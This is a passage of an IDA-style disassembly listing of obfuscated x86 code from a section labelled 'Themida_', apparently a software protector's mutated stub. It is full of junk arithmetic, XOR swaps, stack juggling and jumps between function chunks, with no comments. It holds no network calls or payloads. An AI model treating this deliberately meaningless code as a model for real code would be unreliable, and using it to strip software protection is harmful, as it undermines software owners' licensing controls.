loc_59F581: ; CODE XREF: sub_5A0D58+86Dj
add eax, ecx
mov ecx, [esp+0]
add esp, 4
push [esp-4+arg_0]
push dword ptr [esp+0]
pop esi
push ecx
jmp loc_5A5731
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
loc_59F596: ; CODE XREF: Themida_:00595E42j
sub dword ptr [esp+4], 48906E4Ah
add dword ptr [esp+4], 1760DE9h
jmp loc_5946C0
; =============== S U B R O U T I N E =======================================
sub_59F5AB proc near ; CODE XREF: sub_59CFD4-7AF7j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00596009 SIZE 0000000E BYTES
push ebx
sub esp, 4
mov [esp+8+var_8], eax
mov eax, 51FE19EBh
push esi
mov esi, 5F98547Fh
shr esi, 2
not esi
inc esi
jmp loc_596009
sub_59F5AB endp
; =============== S U B R O U T I N E =======================================
sub_59F5C8 proc near ; CODE XREF: sub_59E918-88E0j
var_6 = dword ptr -6
var_2 = byte ptr -2
; FUNCTION CHUNK AT 005922C2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005936D8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059AFB2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059B688 SIZE 00000007 BYTES
push ebx
mov bl, ch
mov dl, bl
jmp loc_59B688
sub_59F5C8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F5D2: ; CODE XREF: sub_59390B-22BFj
sub bl, al
pop eax
jmp loc_592F9B
; ---------------------------------------------------------------------------
loc_59F5DA: ; CODE XREF: sub_59390B+3B70j
sub al, 0D8h
sub al, dl
add al, 0D8h
push ebx
mov bl, 0F1h
shl bl, 7
inc bl
add bl, 0B9h
jmp loc_5A2AA0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F5F0: ; CODE XREF: Themida_:0059EB0Cj
push 72DA2265h
mov edi, [esp]
add esp, 4
jmp loc_591C61
; ---------------------------------------------------------------------------
loc_59F600: ; CODE XREF: Themida_:0059200Bj
sub bh, 0B6h
add al, bh
pop ebx
jmp loc_5A0118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F60B: ; CODE XREF: sub_59390B+7E86j
add edx, 0EFD6F30h
mov edi, [esp-1Ch+arg_14]
jmp loc_598AEA
; ---------------------------------------------------------------------------
loc_59F619: ; CODE XREF: sub_59390B+BB26j
pop ebp
xor esi, [esp-1Eh+arg_14+2]
xor [esp-1Eh+arg_14+2], esi
xor esi, [esp-1Eh+arg_14+2]
jmp loc_591CE8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BF22
loc_59F628: ; CODE XREF: sub_59BF22+504Bj
add [esp+10h+var_8], edi
pop edi
pop eax
jmp loc_59A9FB
; END OF FUNCTION CHUNK FOR sub_59BF22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F633: ; CODE XREF: sub_59390B-1EC8j
sub bl, 22h
jmp loc_5A3E43
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F63B: ; CODE XREF: Themida_:0059F85Bj
add esi, 24936A51h
add esi, edx
sub esi, 24936A51h
pop edx
jmp loc_59E5F5
; ---------------------------------------------------------------------------
loc_59F64F: ; CODE XREF: Themida_:005A10B2j
mov ebp, 5B513A04h
shr ebp, 3
jmp loc_59B0A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F65C: ; CODE XREF: sub_59390B-E2Ej
add ebx, 4
xchg ebx, [esp-14h+arg_C]
mov esp, [esp-14h+arg_C]
retn
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
jmp loc_5A2361
; ---------------------------------------------------------------------------
loc_59F66B: ; CODE XREF: Themida_:00595EA1j
not dword ptr [esp]
pop edx
push edi
mov edi, 488D5DF1h
xor edx, edi
pop edi
add edx, 690F51E9h
sub ecx, edx
jmp loc_5915BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_59F685: ; CODE XREF: sub_592E1C+7CFCj
mov eax, [esp+8+var_8]
add esp, 4
push 812h
mov [esp+8+var_8], ebp
jmp loc_5923BD
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
loc_59F69B: ; CODE XREF: Themida_:005A03E6j
add al, cl
pop ecx
pop ecx
push ebx
mov ebx, esp
push eax
jmp loc_59EB43
; ---------------------------------------------------------------------------
loc_59F6A8: ; CODE XREF: Themida_:005A50ECj
and ebx, 43D87E25h
and ebx, 29EA0B17h
sub ebx, 0EE56CBF6h
jmp loc_59B79D
; ---------------------------------------------------------------------------
loc_59F6BF: ; CODE XREF: Themida_:005A1CAEj
or esi, 17FC63D4h
jmp loc_598383
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_59F6CA: ; CODE XREF: sub_5A3F6E+194Bj
add dword ptr [esp+0], 4
pop edi
push ebp
jmp loc_59C316
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_59F6D8: ; CODE XREF: sub_59AB43-9DD5j
mov ebx, [esp-8+arg_4]
push ecx
jmp loc_59D2CA
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F6E1: ; CODE XREF: sub_59390B+19EFj
xor eax, 106938ACh
add esi, eax
jmp loc_5A160F
; ---------------------------------------------------------------------------
loc_59F6ED: ; CODE XREF: sub_59390B+C21Fj
pop esi
add edx, 8F9185D8h
push edx
mov edx, 28144F14h
neg edx
neg edx
sub edx, 0B3612492h
sub ebx, edx
mov edx, [esp+0]
add esp, 4
sub ebx, edx
push eax
mov eax, 74B32A82h
add ebx, eax
pop eax
jmp loc_59952C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F71C: ; CODE XREF: Themida_:005A2140j
mov esi, [esp]
push 72E2h
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_592F39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595ED9
loc_59F734: ; CODE XREF: sub_595ED9+3j
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
add eax, 4
push esi
mov esi, 7CEB15BAh
not esi
add esi, 2D7B7A25h
xor esi, 0D33D593Ah
shl esi, 4
sub esi, 3AD3D4FCh
add eax, esi
push dword ptr [esp+0]
pop esi
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
add ecx, edi
pop edi
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
xchg eax, [esp+0]
mov esp, [esp+0]
mov ecx, [esp-8+arg_0]
sub esp, 4
mov [esp+0], eax
push esp
jmp loc_592D83
; END OF FUNCTION CHUNK FOR sub_595ED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_59F79B: ; CODE XREF: sub_5A0D58+2F0Cj
sub ebx, 75A01972h
neg ebx
dec ebx
sub ebx, 0AD14B740h
sub esi, ebx
pop ebx
mov ebx, [esp+0]
add esp, 4
xor esi, [esp-4+arg_0]
xor [esp-4+arg_0], esi
xor esi, [esp-4+arg_0]
jmp loc_597584
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push dword ptr [esp]
mov ecx, [esp]
push ebx
jmp loc_598810
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591F0D
loc_59F7D3: ; CODE XREF: sub_591F0D+10B7Fj
and eax, 2ACF3E6Ah
shl eax, 2
xor eax, 0F3AAEEE4h
neg eax
not eax
shl eax, 6
dec eax
sub eax, 110E2474h
sub eax, 518FB447h
add edx, 69AC1A4Eh
add edx, eax
sub edx, 69AC1A4Eh
mov eax, [esp+10h+var_10]
add esp, 4
push ebx
mov ebx, 4
jmp loc_59BD3D
; END OF FUNCTION CHUNK FOR sub_591F0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_59F811: ; CODE XREF: sub_5A113A+113Fj
add esp, 4
push esi
mov esi, 12A25BF9h
jmp loc_59E85C
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
lodsb
add al, 6
sub al, 9
jmp loc_59B48F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F829: ; CODE XREF: sub_59390B+8D13j
neg ebp
jmp loc_59BA49
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D82E
loc_59F830: ; CODE XREF: sub_59D82E-4BF2j
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59D82E
; ---------------------------------------------------------------------------
loc_59F835: ; CODE XREF: Themida_:005959D1j
mov eax, 199C0BEFh
push eax
not dword ptr [esp]
pop eax
shl eax, 6
sub eax, 781BDCE9h
jmp loc_59C533
; ---------------------------------------------------------------------------
loc_59F84C: ; CODE XREF: Themida_:0059907Bj
sub edi, 340FC8Fh
mov ecx, edi
pop edi
push edx
mov edx, 4D863504h
jmp loc_59F63B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_59F860: ; CODE XREF: sub_59A4D6+5EBAj
mov edi, 4
add edx, edi
pop edi
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
pop esp
; END OF FUNCTION CHUNK FOR sub_59A4D6
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F872: ; CODE XREF: sub_59390B-2802j
push 5554h
jmp loc_599D6A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594C24
loc_59F87C: ; CODE XREF: sub_594C24+5DB6j
pop eax
xchg ebp, [esp+4+var_4]
pop esp
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
jmp loc_5A2F09
; END OF FUNCTION CHUNK FOR sub_594C24
; ---------------------------------------------------------------------------
loc_59F895: ; CODE XREF: Themida_:00592FE1j
sub esp, 4
jmp loc_5A245B
; ---------------------------------------------------------------------------
loc_59F8A0: ; CODE XREF: Themida_:00590F0Dj
add esp, 4
jmp loc_5968AA
; ---------------------------------------------------------------------------
loc_59F8AB: ; CODE XREF: Themida_:00596308j
sub dword ptr [esp+8], 1C00DA0h
pop ebx
push esi
jmp loc_594ACC
; ---------------------------------------------------------------------------
loc_59F8BA: ; CODE XREF: Themida_:0059EB2Ej
sub ch, 0D3h
jmp loc_595F9A
; =============== S U B R O U T I N E =======================================
sub_59F8C2 proc near ; CODE XREF: sub_59390B+11Aj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590BB5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059460B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594920 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00598F44 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059BE04 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C05B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DA84 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059DF78 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E4BF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059FE63 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A07C2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A51BD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5A94 SIZE 00000015 BYTES
push ebx
push esp
jmp loc_59E4BF
sub_59F8C2 endp
; ---------------------------------------------------------------------------
loc_59F8C9: ; DATA XREF: Themida_:005907F8o
mov cx, [esp]
push ebx
push esp
pop ebx
jmp loc_59EA21
; ---------------------------------------------------------------------------
loc_59F8D5: ; CODE XREF: Themida_:00597451j
push 261C3B19h
pop eax
shr eax, 5
dec eax
push 0
sub dword ptr [esp], 6A5D22B5h
jmp loc_59AF23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_59F8F0: ; CODE XREF: sub_5A0BFE-32F9j
mov edx, 444B4EC5h
mov esi, edx
pop edx
push edx
jmp loc_597DC8
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F8FE: ; CODE XREF: sub_59390B+A830j
add edx, 0BCFF95A6h
add ecx, edx
pop edx
jmp loc_599C7B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F90C: ; CODE XREF: Themida_:0059F263j
add dword ptr [esp], 4
pop ebp
add ebp, 4
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push eax
mov eax, 4
add esi, eax
jmp loc_5A0135
; ---------------------------------------------------------------------------
loc_59F94F: ; CODE XREF: Themida_:0059301Ej
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A11C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F95B: ; CODE XREF: sub_59390B+284Fj
pop eax
pop dword ptr [esp+0]
pop esp
test ecx, eax
pushf
jmp loc_5925E9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F968: ; CODE XREF: Themida_:0059E88Ej
add ecx, 3C66644h
sub ecx, 7ADD0BC1h
jmp loc_5A4557
; ---------------------------------------------------------------------------
loc_59F979: ; CODE XREF: Themida_:005A3A0Cj
mov [esp], ebx
mov ebx, 2
mov ecx, ebx
pop ebx
add edi, 0C42E90h
add edi, ecx
push edx
mov edx, 0C42E90h
sub edi, edx
pop edx
mov ecx, [esp]
jmp loc_5A215E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_59F99D: ; CODE XREF: sub_59822A-7014j
xor [esp+0], eax
xor eax, [esp+0]
pop esp
shl byte ptr [esp-4+arg_0], cl
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F9AD: ; CODE XREF: sub_59390B+441Cj
add esp, 4
push 6777h
mov [esp-18h+arg_10], ebx
mov ebx, esp
jmp loc_592AD7
; ---------------------------------------------------------------------------
loc_59F9C2: ; CODE XREF: sub_59390B+C81j
push dword ptr [edi+eax*4]
push [esp+4+var_4]
jmp loc_5A5A48
; ---------------------------------------------------------------------------
loc_59F9CD: ; CODE XREF: sub_59390B+6521j
pop edi
sub esi, 4
jmp loc_5A1F81
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F9D6: ; CODE XREF: Themida_:005928C0j
push 74A4h
jmp loc_5A0B64
; ---------------------------------------------------------------------------
loc_59F9E0: ; CODE XREF: Themida_:0059A44Bj
mov [esp], ebx
push 35F7h
mov [esp], eax
push ecx
mov ch, dl
jmp loc_590D37
; ---------------------------------------------------------------------------
loc_59F9F3: ; DATA XREF: Themida_:00590988o
push dword ptr [esp]
jmp loc_590B71
; ---------------------------------------------------------------------------
loc_59F9FB: ; CODE XREF: Themida_:005A3CB5j
xor edi, 31A30A6Eh
add esi, edi
pop edi
jmp loc_5911AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DC9E
loc_59FA09: ; CODE XREF: sub_59DC9E+17j
pop esp
push [esp-4+arg_0]
pop edx
add esp, 4
mov edi, ebp
mov ebp, [esp+0]
push ebx
mov ebx, esp
push eax
mov eax, 4
jmp loc_5A3E8D
; END OF FUNCTION CHUNK FOR sub_59DC9E
; =============== S U B R O U T I N E =======================================
sub_59FA27 proc near ; CODE XREF: sub_59FD45-2855j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005981AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B210 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1DD6 SIZE 00000020 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 41CD0218h
neg eax
push edi
jmp loc_59B210
sub_59FA27 endp
; ---------------------------------------------------------------------------
loc_59FA3A: ; CODE XREF: Themida_:0059B1C3j
sub eax, ecx
jmp loc_59E159
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FA41: ; CODE XREF: sub_59390B+103D5j
mov al, 9
or al, 0B4h
shr al, 3
add al, 8Dh
push ecx
mov ecx, esp
jmp loc_59926B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FA52: ; CODE XREF: Themida_:0059BC83j
mov edx, eax
pop eax
add edx, 0B75A9B09h
jmp loc_59E7D7
; ---------------------------------------------------------------------------
loc_59FA60: ; CODE XREF: Themida_:00596F54j
push edx
mov edx, 77752DA5h
mov ecx, edx
pop edx
inc ecx
xor ecx, 326676B1h
jmp loc_59D983
; ---------------------------------------------------------------------------
loc_59FA75: ; CODE XREF: Themida_:00591045j
add ebp, 0C3A53DD7h
mov ecx, ebp
mov ebp, [esp]
jmp loc_5A18D8
; ---------------------------------------------------------------------------
loc_59FA85: ; CODE XREF: Themida_:0059ED84j
xor ebp, 470F0AD1h
add esi, 72122F2Fh
add esi, ebp
sub esi, 72122F2Fh
pop ebp
push eax
mov eax, 4
jmp loc_5A1EAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FAA5: ; CODE XREF: sub_59390B-1037j
xor ecx, 327D260Ch
shr ecx, 6
jmp loc_59C71D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_59FAB3: ; CODE XREF: sub_5A113A-5B9j
pop esi
xchg edx, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
pop [esp+4+var_4]
pop esp
rol [esp-4+arg_0], cl
pushf
jmp loc_59EE47
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59FAC8: ; CODE XREF: sub_590AC5+CA33j
pop eax
sub esp, 4
mov [esp+0], eax
push 936h
jmp loc_5A1A75
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59FAD9: ; CODE XREF: Themida_:0059AA8Fj
mov [esp], esi
mov esi, 4
sub ebp, esi
jmp loc_59A047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59FAE8: ; CODE XREF: sub_5964AF+3j
mov [esp-8+arg_4], ecx
mov ecx, 6486B3Fh
and edx, ecx
jmp loc_5918CC
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
loc_59FAF7: ; CODE XREF: Themida_:0059C2EDj
sub ecx, edx
pop edx
jmp loc_599C0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59FAFF: ; CODE XREF: sub_59FD45-90FBj
inc edx
jmp loc_5A5AA9
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FB05: ; CODE XREF: sub_59390B+10CCEj
pop eax
push edx
mov edx, 71C371E3h
dec edx
push esi
mov esi, 48774D46h
shr esi, 8
add esi, 795BBF8h
add edx, 50E8049Bh
add edx, esi
sub edx, 50E8049Bh
jmp loc_59F6ED
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FB2F: ; CODE XREF: Themida_:0059652Aj
xor ebx, 2AA643DEh
dec ebx
add ebx, 0AF32528Eh
sub ebp, ebx
pop ebx
mov edi, [esp]
add esp, 4
push edx
jmp loc_59D586
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FB4B: ; CODE XREF: sub_59390B+A961j
mov ch, 0C4h
shl ch, 5
not ch
push eax
mov al, 0B3h
xor al, 0D2h
sub ch, al
mov eax, [esp+4+var_4]
add esp, 4
add al, ch
pop ecx
sub al, 0BBh
sub al, bl
add al, 0BBh
push dx
jmp loc_5A4D4F
; ---------------------------------------------------------------------------
loc_59FB72: ; CODE XREF: sub_59390B+8027j
mov [esp-14h+arg_C], ecx
jmp loc_59850F
; ---------------------------------------------------------------------------
loc_59FB7A: ; CODE XREF: sub_59390B+799Fj
mov [esp+10h+var_10], ebx
mov ebx, 5DED730Fh
add ebx, 0FFFFFFFFh
shr ebx, 3
dec ebx
sub ebx, 328362F2h
sub ebx, 0D93A4B6Ah
add edi, ebx
pop ebx
push edx
mov edx, 4
sub edi, edx
jmp loc_5A11F2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59FBA8: ; CODE XREF: sub_59E918-B245j
add eax, 2
xchg eax, [esp+6+var_8+2]
pop esp
jmp loc_595C1B
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59FBB6: ; CODE XREF: sub_59CFD4-5BC6j
pop ecx
push ecx
push 4
pop ecx
add esi, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
jmp loc_595028
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_59FBD4: ; CODE XREF: Themida_:0059D3BDj
or ebx, eax
jmp loc_596353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FBDB: ; CODE XREF: sub_59390B+106B8j
mov eax, 1A095741h
add eax, 0FFFFFFFFh
inc eax
sub eax, 31341599h
inc eax
and eax, 5EA9744Bh
sub eax, 48814005h
add ebp, eax
pop eax
jmp loc_5A45B8
; ---------------------------------------------------------------------------
loc_59FBFE: ; CODE XREF: sub_59390B+762Ej
mov edi, 6B3A2DE5h
sub ebp, edi
pop edi
add ebp, 161D1ACDh
mov ecx, [esp+14h+var_14]
add esp, 4
jmp loc_59B1AD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FC17: ; CODE XREF: Themida_:005A164Aj
mov ecx, 7B2309C3h
add ebx, ecx
pop ecx
jmp loc_59D5BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59FC24: ; CODE XREF: sub_59A431+3080j
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
add ecx, eax
pop eax
xchg ecx, [esp+14h+var_14]
pop esp
add esi, 4
xor esi, [esp+10h+var_10]
xor [esp+10h+var_10], esi
xor esi, [esp+10h+var_10]
pop esp
shr eax, 0Bh
xor ecx, eax
push 3F34h
mov [esp+10h+var_10], ecx
jmp loc_599019
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59FC5B: ; CODE XREF: sub_59FD45-DBECj
mov ebx, esp
add ebx, 4
jmp loc_596F8A
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A28F6
loc_59FC68: ; CODE XREF: sub_5A28F6+28j
sub esi, 4
push 4AB5h
mov [esp+0Ch+var_C], esi
push [esp+0Ch+var_8]
pop esi
pop [esp+0Ch+var_C]
jmp loc_598676
; END OF FUNCTION CHUNK FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FC83: ; CODE XREF: sub_59390B+10AFDj
mov edi, esp
add edi, 4
add edi, 4
jmp loc_599792
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59FC96: ; CODE XREF: Themida_:005A2EBAj
mov [esp], edi
push esi
push esp
pop esi
push edx
jmp loc_5960BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_59FCA2: ; CODE XREF: sub_5A09BC-53BFj
mov esp, [esp-0Ch+arg_8]
btc word ptr [esp-0Ch+arg_8], ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A09BC
; ---------------------------------------------------------------------------
loc_59FCB0: ; CODE XREF: Themida_:005A025Fj
xor edx, 1B9C09Bh
mov ebx, edx
pop edx
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_59FCBE: ; CODE XREF: sub_5A17BF-6F65j
pop edx
not edx
jmp loc_590E0F
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_59FCC6: ; CODE XREF: Themida_:0059E9C6j
jmp loc_590A9B
; =============== S U B R O U T I N E =======================================
sub_59FCCB proc near ; CODE XREF: sub_5A39E6+Cj
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059198E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005921E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592736 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005927B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592C21 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592DEF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059326D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593717 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00594700 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594AB6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595084 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005954A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005954C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005964CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596586 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596C22 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00598D6D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598F95 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599C8D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059A5B5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A6B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059B000 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B23B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B6D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C0D9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CD91 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D0F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059D186 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DEE1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059DF10 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EB56 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0C26 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1334 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A23F4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A314A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3337 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A336E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4717 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A47AE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4F7D SIZE 0000000B BYTES
push ebp
push esp
pop ebp
add ebp, 4
push ebx
jmp loc_595084
sub_59FCCB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59FCDA: ; CODE XREF: Themida_:00597D00j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
div cl
movzx cx, ah
push small 64EAh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push ebp
jmp loc_591524
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59FD11: ; CODE XREF: sub_59390B+5C56j
sub ebx, 83006C0h
jmp loc_59BEFB
; ---------------------------------------------------------------------------
loc_59FD1C: ; CODE XREF: sub_59390B+F752j
xchg eax, [esp-0Ch+arg_4]
pop esp
mov [esp-10h+arg_8], edi
mov edi, 1CFB2D3Bh
jmp loc_5A129F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595941
loc_59FD2D: ; CODE XREF: sub_595941+3j
add ebx, 4
push ecx
jmp loc_597EA3
; END OF FUNCTION CHUNK FOR sub_595941
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59FD39: ; CODE XREF: sub_59E918-8CEDj
inc al
sub al, 0D4h
push ebx
mov bl, al
jmp loc_59E742
